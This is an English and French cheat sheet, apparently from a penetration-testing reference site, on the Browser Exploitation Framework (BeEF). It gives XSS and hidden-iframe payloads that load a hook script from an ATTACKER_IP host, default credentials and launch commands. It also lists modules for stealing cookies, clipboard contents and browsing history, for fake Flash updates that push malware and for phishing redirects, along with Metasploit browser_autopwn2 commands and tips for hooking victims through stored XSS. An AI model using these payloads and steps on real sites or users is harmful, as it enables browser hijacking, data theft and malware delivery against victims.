BeEF (Browser Exploitation Framework)
Browser Exploitation Framework. Hooke les navigateurs via XSS, puis les contrôle avec plus de 300 modules pour la recon, l'ingénierie sociale, le pivoting réseau et l'exploitation avancée. Browser Exploitation Framework. Hooks browsers via XSS, then controls them with 300+ modules for recon, social engineering, network pivoting, and further exploitation.
↗ https://beefproject.comOverview
BeEF (Browser Exploitation Framework) hooks victim browsers through a JavaScript payload (typically delivered via XSS). Once hooked, it provides a control panel with 300+ modules: gathering browser/OS info, social engineering attacks, network scanning through the browser, and exploiting other browser vulnerabilities.
Setup & Launch
Start BeEF
sudo beef-xss
# Default web UI: http://127.0.0.1:3000/ui/panel
# Default credentials: beef/beef (change in config)
Configuration
/etc/beef-xss/config.yaml
Hook Injection
<!-- The hook script — inject via XSS, stored XSS, phishing, MITM, etc. -->
<script src="http://ATTACKER_IP:3000/hook.js"></script>
<!-- Example XSS payload to hook a browser -->
"><script src="http://ATTACKER_IP:3000/hook.js"></script>
<!-- Via iframe -->
<iframe src="http://ATTACKER_IP:3000/demos/butcher/index.html" style="display:none"></iframe>
Using the Control Panel
Once a browser is hooked, it appears in the left panel under “Online Browsers”:
- Click the hooked browser
- Select Commands tab → browse module categories
- Select a module, configure options, click Execute
- Results appear in the Module Results History tab
Key Modules by Category
Information Gathering
Browser → Get All Cookies
Browser → Get Visited URLs
Browser → Detect Plugins
Network → Get Internal IP (WebRTC leak)
Network → Fingerprint Network
Host → Get System Info
Host → Get Browser History
Social Engineering
User Interface → Alert Dialog # Fake error popup
User Interface → Fake Flash Update # Trick user to install malware
User Interface → Create Alert # Custom popups
User Interface → Clipboard Theft # Steal clipboard contents
Network → Redirect Browser # Redirect to phishing page
Network
Network → Internal Network Fingerprinting # Port scan via browser
Network → Ping Sweep # Discover internal hosts
Network → DNS Enumeration
Network → WebSocket # WebSocket-based comms
Exploitation
Browser → Exploit → (CVE-based browser exploits)
Persistence → Man-In-The-Browser # Hijack form submissions
Combining BeEF with Metasploit
# In metasploit
use auxiliary/server/browser_autopwn2
set SRVHOST 0.0.0.0
set SRVPORT 8080
run
# In BeEF config.yaml
metasploit:
enable: true
host: "127.0.0.1"
port: 55552
user: "msf"
pass: "msf"
Tips
- BeEF is most effective for stored XSS — the hook runs every time the victim visits the page
- WebRTC-based internal IP disclosure (
Get Internal IP) reveals the victim’s LAN topology - Use
Redirect Browserto send hooked browsers to Metasploit’sbrowser_autopwn - The hook survives page navigations when using
persistence/Man-In-The-Browser
Configuration reference
# /etc/beef-xss/config.yaml key settings
beef:
credentials:
user: "beef"
passwd: "beef" # Change this!
http:
host: "0.0.0.0"
port: 3000
public: "ATTACKER_IP" # External IP for hook.js URL
restrictions:
permitted_hooking_subnet: "0.0.0.0/0" # Who can be hooked
permitted_ui_subnet: "127.0.0.1/32" # Who can access panel
Vue d’ensemble
BeEF (Browser Exploitation Framework) hooke les navigateurs des victimes via un payload JavaScript (généralement délivré par XSS). Une fois hooké, il fournit un panneau de contrôle avec plus de 300 modules : collecte d’infos navigateur/OS, attaques d’ingénierie sociale, scan réseau à travers le navigateur, et exploitation d’autres vulnérabilités du navigateur.
Installation et lancement
# Démarrer BeEF
sudo beef-xss
# UI web par défaut : http://127.0.0.1:3000/ui/panel
# Identifiants par défaut : beef/beef (à changer dans la config)
# Configuration
/etc/beef-xss/config.yaml
Injection du hook
<!-- Le script de hook : injecter via XSS, XSS stockée, phishing, MITM, etc. -->
<script src="http://ATTACKER_IP:3000/hook.js"></script>
<!-- Exemple de payload XSS pour hooker un navigateur -->
"><script src="http://ATTACKER_IP:3000/hook.js"></script>
<!-- Via iframe -->
<iframe src="http://ATTACKER_IP:3000/demos/butcher/index.html" style="display:none"></iframe>
Utiliser le panneau de contrôle
Une fois un navigateur hooké, il apparaît dans le panneau de gauche sous “Online Browsers” :
- Cliquer sur le navigateur hooké
- Sélectionner l’onglet Commands → parcourir les catégories de modules
- Sélectionner un module, configurer les options, cliquer sur Execute
- Les résultats apparaissent dans l’onglet Module Results History
Modules clés par catégorie
Collecte d’informations
Browser → Get All Cookies
Browser → Get Visited URLs
Browser → Detect Plugins
Network → Get Internal IP (WebRTC leak)
Network → Fingerprint Network
Host → Get System Info
Host → Get Browser History
Ingénierie sociale
User Interface → Alert Dialog # Faux popup d'erreur
User Interface → Fake Flash Update # Pousser l'utilisateur à installer un malware
User Interface → Create Alert # Popups personnalisés
User Interface → Clipboard Theft # Voler le contenu du presse-papiers
Network → Redirect Browser # Rediriger vers une page de phishing
Réseau
Network → Internal Network Fingerprinting # Scan de ports via le navigateur
Network → Ping Sweep # Découvrir les hôtes internes
Network → DNS Enumeration
Network → WebSocket # Communications basées sur WebSocket
Exploitation
Browser → Exploit → (exploits de navigateur basés sur des CVE)
Persistence → Man-In-The-Browser # Détourner les soumissions de formulaires
Combiner BeEF avec Metasploit
# Dans metasploit
use auxiliary/server/browser_autopwn2
set SRVHOST 0.0.0.0
set SRVPORT 8080
run
# Dans le config.yaml de BeEF
metasploit:
enable: true
host: "127.0.0.1"
port: 55552
user: "msf"
pass: "msf"
Conseils
- BeEF est le plus efficace avec une XSS stockée : le hook s’exécute à chaque visite de la page par la victime
- La divulgation d’IP interne via WebRTC (
Get Internal IP) révèle la topologie du LAN de la victime - Utilisez
Redirect Browserpour envoyer les navigateurs hookés vers lebrowser_autopwnde Metasploit - Le hook survit aux navigations de page quand on utilise
persistence/Man-In-The-Browser
Référence de configuration
# /etc/beef-xss/config.yaml key settings
beef:
credentials:
user: "beef"
passwd: "beef" # Change this!
http:
host: "0.0.0.0"
port: 3000
public: "ATTACKER_IP" # External IP for hook.js URL
restrictions:
permitted_hooking_subnet: "0.0.0.0/0" # Who can be hooked
permitted_ui_subnet: "127.0.0.1/32" # Who can access panel